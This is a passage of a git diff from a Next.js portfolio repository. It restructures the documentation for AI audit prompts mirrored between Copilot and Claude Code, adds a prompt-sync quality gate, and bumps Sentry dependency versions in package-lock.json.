in that order. +- **Every gate passes before the next batch.** If one fails, fix the cause before continuing. Do not carry a failure into the next area. Confirm the actual exit code rather than reading the output, and remember that a chained command stops at the first failure, so later steps never ran. +- Add or update tests for behaviour you changed, then run the suite again. +- Report what changed and why alongside the findings, in the same format. diff --git a/.github/prompts/readme.md b/.github/prompts/readme.md index 765cda6d..d077788f 100644 --- a/.github/prompts/readme.md +++ b/.github/prompts/readme.md @@ -1,131 +1,60 @@ -# Prompts Directory +# Prompts directory -This directory contains AI-powered prompt templates designed for **GitHub Copilot's coding agent** to automate code review, documentation auditing, and quality improvements. These prompts integrate seamlessly with Visual Studio Code (VSCode) and GitHub's pull request workflow. +Reusable audit prompts for code review, documentation, and codebase quality. Each one ships **twice**, so it works whether or not you can install a directory into your repository: -> [!CAUTION] -> ⚠️ CRITICAL: AI Accuracy Warning -> -> **These prompts execute AI-driven code analysis and documentation generation. AI makes mistakes and hallucinations.** It is of utmost importance that you **carefully review all changes and output** before merging any PR. Do not blindly trust the AI's work. Verify that all suggested changes are: -> -> - Factually accurate against your codebase -> - Aligned with your project standards -> - Free of hallucinated function names, file paths, or logic -> - Properly formatted and complete -> - Well tested and validated -> -> **Review everything the AI writes and generates.** - ---- - -## Available Prompts - -### [`audit-docs.prompt.md`](./audit-docs.prompt.md) - -**Purpose:** Automatically audit and update your documentation directory to match the current codebase and any PR changes. - -**Key Features:** - -- **Phase 1 (PR Sync):** If a PR is active, updates documentation to reflect only the immediate changes introduced by that PR -- **Phase 2 (General Audit):** Audits the entire documentation directory against the current codebase to find and fix: - - Outdated information - - Inaccuracies - - Fragmented or redundant files - - Missing documentation for new features - -**When to Use:** +| Prompt file, for GitHub Copilot | Skill, for Claude Code and other agents | +| ---------------------------------------------------- | ----------------------------------------------------------------------- | +| [`audit-docs.prompt.md`](audit-docs.prompt.md) | [`audit-docs/SKILL.md`](../../.claude/skills/audit-docs/SKILL.md) | +| [`audit-pr.prompt.md`](audit-pr.prompt.md) | [`audit-pr/SKILL.md`](../../.claude/skills/audit-pr/SKILL.md) | +| [`audit-quality.prompt.md`](audit-quality.prompt.md) | [`audit-quality/SKILL.md`](../../.claude/skills/audit-quality/SKILL.md) | -- After implementing new features (documentation lags behind code) -- Before merging a PR (ensure docs match the PR changes) -- During maintenance cycles (keep docs fresh and accurate) -- When refactoring or restructuring code +**The body below the frontmatter is byte-identical between each pair.** Only the frontmatter differs: the prompt carries Copilot's keys, the skill carries the Agent Skills keys. Each file is self-contained, with no relative links and no reference to a sibling prompt, so a single copied file works on its own. -**Targeting other directories:** -This prompt audits the `docs/` directory and the workspace (`#codebase`) referenced in its body. For a monorepo or a different layout, pass the relevant folders to GitHub Copilot Chat as context (for example `#file:docs`) or edit those references in [`audit-docs.prompt.md`](./audit-docs.prompt.md). - -**Platform Support:** - -- Works in GitHub's text view for documentation reading -- Works natively in VSCode's documentation explorer -- **(Recommended Enhancement):** Use the **[Workspace Wiki](https://marketplace.visualstudio.com/items?itemName=alexjsully.workspace-wiki)** VSCode extension to organize all your Markdown files into a unified file tree explorer within VSCode. This makes navigating and maintaining documentation effortless. - ---- - -### [`audit-pr.prompt.md`](./audit-pr.prompt.md) - -**Purpose:** Perform a thorough, opinionated code review of a pull request across 13 categories. Produces ready-to-post comments with severity triage and an overall summary for human review. - -**Key Features:** +> [!CAUTION] +> **AI makes mistakes and hallucinations.** These prompts drive AI-driven analysis and documentation generation, so review all output before merging. Verify that changes are factually accurate against your codebase, aligned with your standards, free of invented function names, file paths, or logic, and tested. Do not blindly merge AI-generated changes. -- **3-Step Review Process:** - - Step 1: PR Alignment Check (title, description, linked ticket, diff scope, breaking changes, PR size) - - Step 2: Categorized Code Review (13 categories — correctness, security, privacy, performance, testing, etc.) - - Step 3: Overall Summary (verdict, stats, top concerns, positive callouts) -- **Severity Triage:** 🔴 Blocking, 🟡 Non-blocking, 🔵 Suggestions, ✅ Positive callouts -- **Actionable Findings:** Every finding includes file path, line range, issue description, and suggested fix +## Picking one -**When to Use:** +- **`audit-pr`** reviews a diff: what a change does, what it breaks, and whether it should merge. Eighteen categories entered selectively through a triage table, every finding quoting the changed line, and a refutation pass that deletes findings which do not survive scrutiny. +- **`audit-quality`** audits code as it stands rather than a change. Thirteen categories, discovery before findings, and the same evidence and refutation discipline. +- **`audit-docs`** owns documentation accuracy for both. Evidence is a file, a symbol, and a verbatim quote rather than a line number, and unverifiable claims go to an explicit "unverified" list instead of into the prose. -- During pull request reviews (before merge) -- As a second opinion on code changes -- When you need detailed, ready-to-post review comments +Run one, not all three. ---- +## Scope defaults -### [`audit-quality.prompt.md`](./audit-quality.prompt.md) +None of them audits your whole repository by default, which matters on a large codebase or a monorepo. -**Purpose:** Perform a deep-dive audit of your codebase to identify architectural flaws, technical debt, and maintainability issues — then automatically implement improvements. +`audit-docs` and `audit-quality` resolve scope in order, stopping at the first rule that applies: an explicit instruction, the active pull request, uncommitted changes, the component the surrounding task concerns, and only then the whole repository. Both state which rule applied in their output. -**Key Features:** +`audit-pr` stops at the branch's own commits and has no whole-repository rung at all: with no change to review it reports nothing rather than widening. -- **Breadth-First Audit:** Analyzes architecture, code health, security, privacy, performance, and 16 total categories -- **Proactive Implementation:** Identifies issues and immediately implements fixes -- **Incremental Validation:** Runs your project's validation command after each change -- **Documentation Sync:** Updates documentation to reflect code changes +## Installing -**When to Use:** +**As a Copilot prompt.** Copy the `.prompt.md` file into `.github/prompts/` in your repository and invoke it with `/audit-pr` in Copilot Chat. Use this path when repository policy prevents installing anything else, since it is a single file with no dependencies. -- As part of regular maintenance sprints -- When tackling technical debt -- Before major releases (ensure code quality baseline) +**As a Claude Code skill.** Copy the skill directory into `.claude/skills/`. Invoke it with `/audit-pr`, or let the agent pick it up from its description. ---- +**With another agent.** The body is host-neutral. Every prompt carries a **context resolution** table mapping the references Copilot resolves automatically to the equivalent command any other agent should run. Which references appear depends on the prompt: all three list `#codebase` and `#changes`, `audit-docs` and `audit-pr` add `#activePullRequest`, `audit-docs` and `audit-quality` add `#file:path`, and `audit-pr` alone adds `#issue_fetch`. -## Prerequisites +## Keeping the pair in sync -### Required +Only relevant if you keep both halves. Edit one, then propagate: -- Active GitHub pull request (PR) -- VSCode with [GitHub Copilot Chat](https://marketplace.visualstudio.com/items?itemName=github.copilot-chat) extension -- Your project's dependencies installed locally +```bash +node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill # you edited the prompt +node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-prompt # you edited the skill +node .claude/scripts/check-prompt-skill-sync.mjs # confirm, exits 0 when in sync +``` -### Recommended (But Not Required) +The direction is never inferred, because guessing it would overwrite the side you just edited. In this repository the check runs as part of `npm run validate`. -- **[`copilot-instructions.md`](../copilot-instructions.md):** Project-specific AI instructions (style guide, conventions, tooling). Helps the AI understand your project standards. +## Whether a run applies changes ---- +**The prompts do not decide this.** The mode you invoke them in does: an agent mode with edits enabled applies changes, a plan or ask mode does not, and a permission prompt may sit between. `audit-pr` produces a review and never edits. `audit-docs` edits documentation only, never behaviour. `audit-quality` reports, and applies changes only where the invoking mode allows it. -## Important Safety Notes +## Related resources -> [!CAUTION] -> ⚠️ AI Makes Mistakes -> -> - **Hallucinations:** AI may invent function names, file paths, or code logic that don't exist -> - **Inaccuracies:** AI may misinterpret complex code or miss edge cases -> - **Formatting Issues:** Generated documentation or code may have subtle formatting problems -> -> **Your Responsibility:** -> -> - Always review the AI's changes before committing -> - Check that code logic matches your intent -> - Test the changes locally (ex [package.json](../../package.json)'s `npm run validate`) -> - Run the full test suite to catch regressions -> - Use git diff to review exactly what changed -> -> **Do not blindly merge AI-generated changes.** - ---- - -## Related Resources - -- [VSCode GitHub Copilot Extension](https://marketplace.visualstudio.com/items?itemName=github.copilot-chat) -- **[Workspace Wiki](https://marketplace.visualstudio.com/items?itemName=alexjsully.workspace-wiki)** — Organize and navigate Markdown documentation in VSCode +- [Copilot prompt files](https://code.visualstudio.com/docs/copilot/customization/prompt-files) for the `.prompt.md` frontmatter schema +- [Agent Skills specification](https://agentskills.io/specification) for the `SKILL.md` format +- [Workspace Wiki](https://marketplace.visualstudio.com/items?itemName=alexjsully.workspace-wiki), a VS Code extension that organizes Markdown files into a unified tree diff --git a/.prettierignore b/.prettierignore index 708e6725..af094fe1 100644 --- a/.prettierignore +++ b/.prettierignore @@ -198,8 +198,11 @@ dist/**/*.js.map # nx cache .nx/cache -# Claude Code agent tooling (not shipped product) -.claude/ +# Claude Code agent tooling +.claude/** +!.claude/skills/ +!.claude/skills/audit-*/ +!.claude/skills/audit-*/SKILL.md # Python .mypy_cache diff --git a/CLAUDE.md b/CLAUDE.md index cc9e144a..51e2b744 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -8,13 +8,14 @@ This repo is worked on by **both** GitHub Copilot and Claude Code. Keep these au - [`.github/copilot-instructions.md`](.github/copilot-instructions.md) - canonical, shared conventions. Copilot cannot read `CLAUDE.md`, and the automated code reviews read that file rather than `.claude/`, so when conventions change, update it too. - [`docs/architecture/`](docs/architecture/index.md) and [`docs/usage/`](docs/usage/index.md) - per-area detail (read these instead of re-deriving structure). -- [`.claude/rules/`](.claude/rules/code-style.md) - Claude-specific rules that load automatically. [`code-style.md`](.claude/rules/code-style.md) loads when editing `.ts`/`.tsx`, [`testing.md`](.claude/rules/testing.md) when editing tests or test tooling, and [`docs-authoring.md`](.claude/rules/docs-authoring.md) when editing markdown. +- [`.claude/rules/`](.claude/rules/code-style.md) - path-scoped rules that load automatically. [`code-style.md`](.claude/rules/code-style.md) loads when editing `.ts`/`.tsx`, [`testing.md`](.claude/rules/testing.md) when editing tests or test tooling, [`docs-authoring.md`](.claude/rules/docs-authoring.md) when editing markdown, and [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md) when editing either half of a mirrored prompt. +- [`.claude/skills/typescript-code-and-test-standards/`](.claude/skills/typescript-code-and-test-standards/SKILL.md) - the codebase-agnostic conventions (comments, JSDoc, readability, the test mandate, the mocking policy, the Google style digest), published for reuse elsewhere. The rules files above carry only this repository's deltas and defer to it. ## Commands - `npm run dev` - dev server at localhost:3000 -- `npm run validate` - full quality gate (prettier, eslint, tsc, jest, cypress, build, markdownlint) -- Individual gates: `npm run prettier:check`, `npm run eslint:check`, `npm run tsc`, `npm run test:jest`, `npm run test:cypress:e2e`, `npm run build`, `npm run lint:markdown` +- `npm run validate` - full quality gate (prettier, prompt-sync, eslint, tsc, jest, cypress, build, markdownlint) +- Individual gates: `npm run prettier:check`, `npm run check:prompt-sync`, `npm run eslint:check`, `npm run tsc`, `npm run test:jest`, `npm run test:cypress:e2e`, `npm run build`, `npm run lint:markdown` - Run a **single** Jest test: - one file: `npx jest src/components/banner/Banner.test.tsx` - one case by name: `npx jest -t 'partial test name'` @@ -26,7 +27,8 @@ This repo is worked on by **both** GitHub Copilot and Claude Code. Keep these au **Every change to logic, tests, configuration, or documentation ends with the quality gates run and green.** This is not optional and not deferrable. - Confirm the **actual exit code** (`echo "EXIT: $?"`) after each gate. The output is long and failures surface at the end, so scrolling it is not a check. -- A single gate is never a substitute for the full set. Running `npm run test:jest` alone skips type checking, linting, the build, and markdown linting. +- A single gate is never a substitute for the full set. Running `npm run test:jest` alone skips type checking, linting, the build, markdown linting, and the prompt-sync check. +- `npm run check:prompt-sync` fails while a prompt and its mirrored skill differ. Fix it with `node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill` (or `--fix=to-prompt`), never by hand-copying. [`.prettierignore`](.prettierignore) re-includes `.claude/skills/audit-*/SKILL.md` so Prettier formats both halves identically and cannot desync a pair it runs ahead of; the rest of `.claude/` stays ignored. - If a gate fails, fix the cause and re-run until it passes. Never report work complete, or describe validation as passing, before that point. Report a pre-existing failure honestly rather than presenting it as unrelated and therefore fine. - Run `npm run prettier` again after any ESLint fix, and finish with `npm run prettier:check`: `eslint --fix` inserts braces inline where Prettier would break the statement across lines. - If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs, since Cypress needs a GUI session that a headless agent shell may not have. A failing assertion inside a spec is a real failure. Either way, run the remaining gates (`build` and `lint:markdown` come after Cypress in the chain) and say plainly that e2e was not run. @@ -40,11 +42,13 @@ A single-page Next.js **App Router** portfolio: the whole site is [`src/app/layo ## Conventions -Two rules trip people up most: **use tabs, not spaces**, and **import via path aliases (`@components/...`), never relative paths**. The full set (MUI `sx`-only styling, strict TypeScript, Server Components by default, JSDoc on exports, the readability rules, and the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html) deltas) lives in [`.claude/rules/code-style.md`](.claude/rules/code-style.md). Testing conventions (one colocated test per source, mocking policy, `it.each` tables, naming) live in [`.claude/rules/testing.md`](.claude/rules/testing.md). Both are enforced by `prettier`, `eslint`, and `tsc`. +Two rules trip people up most: **use tabs, not spaces**, and **import via path aliases (`@components/...`), never relative paths**. + +The conventions live in two layers. The generic set (comment discipline, JSDoc, readability, the test mandate, one colocated test per source, the mocking policy, and the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html) digest) is in [`typescript-code-and-test-standards`](.claude/skills/typescript-code-and-test-standards/SKILL.md), which detects a project's own configuration rather than assuming one. This repository's deltas (path aliases, MUI `sx`, Server Components, the closed mock boundary table, the test exemptions, the Google carve-outs) are in [`code-style.md`](.claude/rules/code-style.md) and [`testing.md`](.claude/rules/testing.md), which auto-load and direct you to the skill. Prettier, ESLint, and tsc enforce what they can. ## Claude Code extras -- The [`.github/prompts/`](.github/prompts/readme.md) files (`audit-docs`, `audit-pr`, `audit-quality`) are **Copilot coding-agent** prompts (need an active PR + Copilot Chat), not Claude Code commands. -- Skills: `/audit-docs` (documentation audit, mirrors [`.github/prompts/audit-docs.prompt.md`](.github/prompts/audit-docs.prompt.md)), `/write-tests` (author or repair a test to house style), and `/google-ts-style` (fuller style digest for a deliberate style pass). Plus the built-in `/code-review` and `/security-review`. -- Subagent: `validator` runs the six local quality gates in its own context and returns a verdict instead of several thousand lines of output. -- Hooks ([`.claude/hooks/`](.claude/hooks/validate-gate.mts)): `markdown-audit-reminder` restates the doc-authoring rules whenever you edit a markdown file; `validate-gate` tracks which gates have run and blocks the first attempt to finish while any are outstanding. +- Each [`.github/prompts/`](.github/prompts/readme.md) file ships twice: as a Copilot `.prompt.md` and as a Claude Code skill with a **byte-identical body**. Edit either half, then mirror it (see [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md)); `npm run validate` fails while they differ. Both halves stay self-contained, with no relative links and no reference to a sibling prompt, because each is copied into other repositories on its own. +- Skills: `/audit-docs`, `/audit-pr`, and `/audit-quality` (the mirrored prompts); `/write-tests` (repo procedure for authoring a test); `/sync-audit-prompts` (reconcile a mirrored pair); and `typescript-code-and-test-standards`, which auto-loads on TypeScript and JavaScript files. Plus the built-in `/code-review` and `/security-review`. +- Subagents: `validator` runs the local quality gates in its own context and returns a verdict instead of several thousand lines; `prompt-skill-sync` reconciles a mirrored pair and returns a verdict instead of two long files. +- Hooks ([`.claude/hooks/`](.claude/hooks/validate-gate.mts)): `markdown-audit-reminder` restates the doc-authoring rules whenever you edit a markdown file; `prompt-skill-sync` names the counterpart when you edit either half of a mirrored pair; `validate-gate` tracks which gates have run and blocks the first attempt to finish while any are outstanding. diff --git a/package-lock.json b/package-lock.json index 53d9fd88..525ec66f 100644 --- a/package-lock.json +++ b/package-lock.json @@ -60,9 +60,9 @@ "license": "MIT" }, "node_modules/@apm-js-collab/code-transformer": { - "version": "0.15.0", - "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer/-/code-transformer-0.15.0.tgz", - "integrity": "sha512-XmXYVs8CzJ1Aj79noVbn2weUO/XWtRyURpGqx7aU7DOXlUQhR0WKOQNF0okh7PCeY37vxf7kU3v57OAkEPm3ww==", + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer/-/code-transformer-0.18.0.tgz", + "integrity": "sha512-aN3Oq8r1J3gPJtCwErP664gM0+HhM1I1lujPr9TMTCcEl/joQQbpGpeMdts9B1+W2wHMsvioDMv5F4PvMWE6gw==", "license": "Apache-2.0", "dependencies": { "@types/estree": "^1.0.8", @@ -77,12 +77,12 @@ } }, "node_modules/@apm-js-collab/code-transformer-bundler-plugins": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer-bundler-plugins/-/code-transformer-bundler-plugins-0.5.0.tgz", - "integrity": "sha512-YxLBY5nGlurL7QeJLq6e5g0ouBpAp0pwgyA/5rHXEXwhiPLn9ZHbT+Y2LlP90GT872cSocfjWRYu/fnpuBudNQ==", + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer-bundler-plugins/-/code-transformer-bundler-plugins-0.6.2.tgz", + "integrity": "sha512-5vBrtIEL+UVbO0YWWoyYG4QMgR+ZfnIL3xlteIkAmU7YaAPhc28k3md/NM14tnkfXKjKOn9yUzEA9AYUmNpvJg==", "license": "MIT", "dependencies": { - "@apm-js-collab/code-transformer": "^0.15.0", + "@apm-js-collab/code-transformer": "^0.18.0", "es-module-lexer": "^2.1.0", "magic-string": "^0.30.21", "module-details-from-path": "^1.0.4" @@ -101,12 +101,12 @@ } }, "node_modules/@apm-js-collab/tracing-hooks": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/@apm-js-collab/tracing-hooks/-/tracing-hooks-0.10.1.tgz", - "integrity": "sha512-w2OWXR7FWrKqSziuE9+QclaZrStxO/8+OwbXM635s/zs0Eez1Qo3ivSPdB2WsaPY/iznKTytONPx/PitD7IXcA==", + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/@apm-js-collab/tracing-hooks/-/tracing-hooks-0.13.0.tgz", + "integrity": "sha512-mTvWz9rnQwx1U3h0XPTHaX7bgfkpipLLTQyjlC2cdhQpQEuoLT0AGzoydeoq2NxfEVv6fWOOETcSbb2nptleyw==", "license": "Apache-2.0", "dependencies": { - "@apm-js-collab/code-transformer": "^0.15.0", + "@apm-js-collab/code-transformer": "^0.18.0", "debug": "^4.4.1", "module-details-from-path": "^1.0.4" } @@ -6430,30 +6430,30 @@ } }, "node_modules/@sentry/browser": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/browser/-/browser-10.65.0.tgz", - "integrity": "sha512-XUDDsx0qxzeIlcOu1fDEqTcDl0eiOqghsgV+ReuuNP4jYjZ9kUQxE3rXWM5mlT1pBi4VaQ4FHqvQZZrRXy+oDw==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/browser/-/browser-10.66.0.tgz", + "integrity": "sha512-MaPoBqKvI7O3UhexSJ/KO/o6T4Tr3A+vQWLZYTos0mxd59jVKMKbbJ6LxM/0uWQ5JAO2XYC/kCMRvk6VqQ5QZw==", "license": "MIT", "dependencies": { - "@sentry/browser-utils": "10.65.0", - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0", - "@sentry/feedback": "10.65.0", - "@sentry/replay": "10.65.0", - "@sentry/replay-canvas": "10.65.0" + "@sentry/browser-utils": "10.66.0", + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0", + "@sentry/feedback": "10.66.0", + "@sentry/replay": "10.66.0", + "@sentry/replay-canvas": "10.66.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/browser-utils": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/browser-utils/-/browser-utils-10.65.0.tgz", - "integrity": "sha512-4J0mkfNJAGUOkpg1ZggizyftFTn9N20b+Jl87UnWsDUkNG0Ic1l/FIzMPTVxXrAnhBGu0ULO0TFWMoQ5s3QtZw==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/browser-utils/-/browser-utils-10.66.0.tgz", + "integrity": "sha512-sHuALvJMMEilUz84F1ZOQuDoZ3MhjwUHWHkXcElcVMrDIlnTO7Ra0E6Kh0e8JyJaLBMk4Sy9srKSqH9zimQVTQ==", "license": "MIT", "dependencies": { - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0" + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" @@ -6478,14 +6478,14 @@ } }, "node_modules/@sentry/bundler-plugins": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/bundler-plugins/-/bundler-plugins-10.65.0.tgz", - "integrity": "sha512-AYgv31l4wY/CwYAD/2Og59RT+TNjvhatcLOrEe5tFOpi9VcPAQ4xfPZIM6fXYGawofT52p6LhUECNSfNkNnc7Q==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/bundler-plugins/-/bundler-plugins-10.66.0.tgz", + "integrity": "sha512-u0Dzji4GouTR3zhNzCDal+mDxzOsnCVzA4mxOkTq89k2vKX6cuAVrrBWlSOcVYa8qbt43c0QNJxFnD0AqjhJtw==", "license": "MIT", "dependencies": { "@babel/core": "^7.18.5", "@sentry/cli": "^2.58.6", - "@sentry/core": "10.65.0", + "@sentry/core": "10.66.0", "dotenv": "^17.4.2", "find-up": "^5.0.0", "glob": "^13.0.6", @@ -6685,54 +6685,55 @@ } }, "node_modules/@sentry/conventions": { - "version": "0.15.1", - "resolved": "https://registry.npmjs.org/@sentry/conventions/-/conventions-0.15.1.tgz", - "integrity": "sha512-ZLP8bRdMON3prWE2tJyImuYscCxdcJeIPIhrOs/rgyFm3C1nCh1B6gdvPj3AZ5zW08oSFFCsq7T+tYEW3h8MNA==", + "version": "0.16.0", + "resolved": "https://registry.npmjs.org/@sentry/conventions/-/conventions-0.16.0.tgz", + "integrity": "sha512-fO9PLmHdVURcSPUpWCItWAtgKiMwGdJHbovoSEyLplX5sxs2ugvI4CBPTrkkgqhObnZOD0CnWBKDzSVQYBKEyQ==", "license": "MIT", "engines": { "node": ">=14" } }, "node_modules/@sentry/core": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/core/-/core-10.65.0.tgz", - "integrity": "sha512-3aqtmM5NgNGo45BNaaBzi0LPQZAw//NEL4HKS5fXm12pJMa4KEkze8DEKnkTEIrGnWaOJKamecHKlnNg/Mqf/Q==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/core/-/core-10.66.0.tgz", + "integrity": "sha512-9UbgSvds7bMJsP561eWmeyMLcfOmnwxtnx2QuW3yLobzP2Ob7CyJCOzP4tGzlTAGDrzShkFEZhiyuBUKiEK2oQ==", "license": "MIT", "dependencies": { - "@sentry/conventions": "^0.15.1" + "@sentry/conventions": "^0.16.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/feedback": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/feedback/-/feedback-10.65.0.tgz", - "integrity": "sha512-ck8h7wgd3F3bYNk0v1OgohmyLBeXcKxqlfBJRtQq4k6KZUq+pXimOG7ckNguVMYjCo3PEfuG+ckKc21yqotKug==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/feedback/-/feedback-10.66.0.tgz", + "integrity": "sha512-fr69K76Gz7RRyfMerChdNjWIeQdFh+k21GJcmPCqk43dscUChOsLc3cYLS5cK7iZ/XiUmH9lVzf7EYL2kf2qsA==", "license": "MIT", "dependencies": { - "@sentry/core": "10.65.0" + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/nextjs": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/nextjs/-/nextjs-10.65.0.tgz", - "integrity": "sha512-9gDKQAAXcWh210fMI/ZNCa7940HYt7dGjnJVP0Tk9ozUR57W4C9vXvHJDTYPJrFxYxTHw7lwxWGervk8a6Tf4g==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/nextjs/-/nextjs-10.66.0.tgz", + "integrity": "sha512-t+FodSqOWII61kbkgeGkcT6Aii8eDnpQAEmky28w/rBfl715fPN3K/qeGhP2D1Q+DsjdvkJfHDRL1jZBVwFWZQ==", "license": "MIT", "dependencies": { "@opentelemetry/api": "^1.9.1", "@rollup/plugin-commonjs": "28.0.1", - "@sentry/browser-utils": "10.65.0", + "@sentry/browser-utils": "10.66.0", "@sentry/bundler-plugin-core": "^5.3.0", - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0", - "@sentry/node": "10.65.0", - "@sentry/opentelemetry": "10.65.0", - "@sentry/react": "10.65.0", - "@sentry/vercel-edge": "10.65.0", + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0", + "@sentry/node": "10.66.0", + "@sentry/opentelemetry": "10.66.0", + "@sentry/react": "10.66.0", + "@sentry/server-utils": "10.66.0", + "@sentry/vercel-edge": "10.66.0", "@sentry/webpack-plugin": "^5.3.0", "rollup": "^4.60.3", "stacktrace-parser": "^0.1.11" @@ -6745,19 +6746,19 @@ } }, "node_modules/@sentry/node": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/node/-/node-10.65.0.tgz", - "integrity": "sha512-t35dcdyksysVch/m/XdLgGJqGKJhr9eMD30Ctn3TeQ8yMB0wNXySfjPR5Yg93fpjmfaHtzc6iYIXRAvgNVfrvA==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/node/-/node-10.66.0.tgz", + "integrity": "sha512-5Ow7iQiRjaSaEOmqEIkYV368hFFzShIZCXPoj+wX3JtOmKFrsNu6lr8/VJlQs7cyjFS6tzE50PrLrD8iAPS/8w==", "license": "MIT", "dependencies": { "@opentelemetry/api": "^1.9.1", "@opentelemetry/instrumentation": "^0.220.0", "@opentelemetry/sdk-trace-base": "^2.9.0", - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0", - "@sentry/node-core": "10.65.0", - "@sentry/opentelemetry": "10.65.0", - "@sentry/server-utils": "10.65.0", + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0", + "@sentry/node-core": "10.66.0", + "@sentry/opentelemetry": "10.66.0", + "@sentry/server-utils": "10.66.0", "import-in-the-middle": "^3.0.0" }, "engines": { @@ -6765,14 +6766,14 @@ } }, "node_modules/@sentry/node-core": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/node-core/-/node-core-10.65.0.tgz", - "integrity": "sha512-U01X9mPT+jZnsLPmPWfBU67Ka+t/Sdd9RGAuvGoKdrI6N47a/9PDkM9oCW+kj0fmZwogZHTgSnzJU5oi3pImgA==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/node-core/-/node-core-10.66.0.tgz", + "integrity": "sha512-SUnXHROqSdSetKgZC1goDEKCuMz3OmQ1h4rxzWeexLyqan+pensZXfLouP6jzZXlA8e/HP7uQg78LnfqYDcZlQ==", "license": "MIT", "dependencies": { - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0", - "@sentry/opentelemetry": "10.65.0", + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0", + "@sentry/opentelemetry": "10.66.0", "import-in-the-middle": "^3.0.0" }, "engines": { @@ -6804,13 +6805,13 @@ } }, "node_modules/@sentry/opentelemetry": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/opentelemetry/-/opentelemetry-10.65.0.tgz", - "integrity": "sha512-8C6FPvm3XBvUrkM52dX3Gz0p2H0Ij8t4sahUA+GTiCz0WM0fnyPeQPGC/b6I4jamV9UXyCZRnE1UEEGCoD+c7A==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/opentelemetry/-/opentelemetry-10.66.0.tgz", + "integrity": "sha512-K5Y9IettN9yIOnpqCs40HRLGqaGUoaQ50+ZsLqX2kPCk3TzJVpKZ9icKwaJ4Nxm72QgGVT5Ovfr/9FXbgd3b/Q==", "license": "MIT", "dependencies": { - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0" + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" @@ -6822,14 +6823,14 @@ } }, "node_modules/@sentry/react": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/react/-/react-10.65.0.tgz", - "integrity": "sha512-fvHxpuvid0wt9/1N3itcKDyKOjqmYHw3MBSt5Pki3Iz4CL2CmgQp9ZFv/CA7UhMnEvn2Gd+Qc2UKxujZWd8FLg==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/react/-/react-10.66.0.tgz", + "integrity": "sha512-aodV9C2NnaZBqJvaBceIIaVyMVEisO38EWtH5xL7IMbD6QSmBYsuNU7yYzRcdOj/+99FxJYRPaqwzGnIWnNTHw==", "license": "MIT", "dependencies": { - "@sentry/browser": "10.65.0", - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0" + "@sentry/browser": "10.66.0", + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" @@ -6839,69 +6840,68 @@ } }, "node_modules/@sentry/replay": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/replay/-/replay-10.65.0.tgz", - "integrity": "sha512-aW988CcQBNArbOMzOFOziipHz6uQyXSa4i5CPWsu+nhVPTJHafosi5Lv9n6NM/icDX5e23VdnX6mZd8SyJuo8A==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/replay/-/replay-10.66.0.tgz", + "integrity": "sha512-Djb4FxQa9bF8z3PoCO00Nw1u+6hma2YuI8JkMoE+F14KWRfCZKQ28sScsvk+OokbXgjtuIsxDEZj/qFGY0w01w==", "license": "MIT", "dependencies": { - "@sentry/browser-utils": "10.65.0", - "@sentry/core": "10.65.0" + "@sentry/browser-utils": "10.66.0", + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/replay-canvas": { - "version": 